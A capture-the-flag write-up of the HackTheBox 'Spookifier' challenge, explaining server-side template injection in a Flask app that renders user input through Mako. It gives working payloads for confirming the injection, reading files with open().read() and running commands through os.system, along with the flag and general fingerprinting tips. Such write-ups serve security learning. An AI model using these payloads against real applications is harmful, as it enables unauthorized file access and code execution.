pwneglyph logo
web web-server python flask mako flask-mako ssti template-injection local-file-read rce

The 'spookify' font tool renders user input through a Mako template (flask-mako), so ${7*7} → 49. Mako exposes Python directly, so ${open('../../flag.txt').read()} reads the flag — no import gymnastics needed.

Spookifier — Mako SSTI → file read

Platform: HackTheBox · Category: Web (server-side) · Stack: Flask + flask-mako (Mako templates)

Challenge overview

A "spooky font" converter echoes your ?text= back in several fonts. The converted strings are formatted into a template string and rendered with Mako:

def generate_render(converted_fonts):
    result = '''<tr><td>{0}</td></tr> ... '''.format(*converted_fonts)
    return Template(result).render()       # mako.template.Template — user text reaches here

One of the font maps (font4) passes characters through unchanged, so the raw input lands inside the Mako template → SSTI.

Exploit

Mako uses ${ ... } for expressions and lets you call arbitrary Python:

?text=${7*7}                       -> 49      (confirms SSTI)
?text=${open('../../flag.txt').read()}         (read the flag directly)

Unlike Jinja2, Mako exposes Python builtins directly in ${}, so open(...).read() works without walking __globals__/__builtins__. (${__import__('os').system('...')} also runs, but the response only reflects expression values, so open().read() is the clean exfil.)

HTB{t3mpl4t3_1nj3ct10n_C4n_3x1st5_4nywh343!!}

Flag: HTB{t3mpl4t3_1nj3ct10n_C4n_3x1st5_4nywh343!!}

Takeaways (generalized techniques)

  • Template(user_controlled).render() is SSTI, regardless of engine. Test ${7*7} (Mako/JSP-style) and {{7*7}} (Jinja/Twig) to fingerprint the engine.
  • Mako is less sandboxed than Jinja2: ${...} evaluates plain Python, so open(), __import__, os.system are reachable directly — no __globals__/__builtins__ chain required. Prefer open(path).read() when the sink reflects expression values.
  • A "harmless formatting" feature (font converter, markdown styler) is still a template sink if any branch routes raw input into the template body.

Sources & references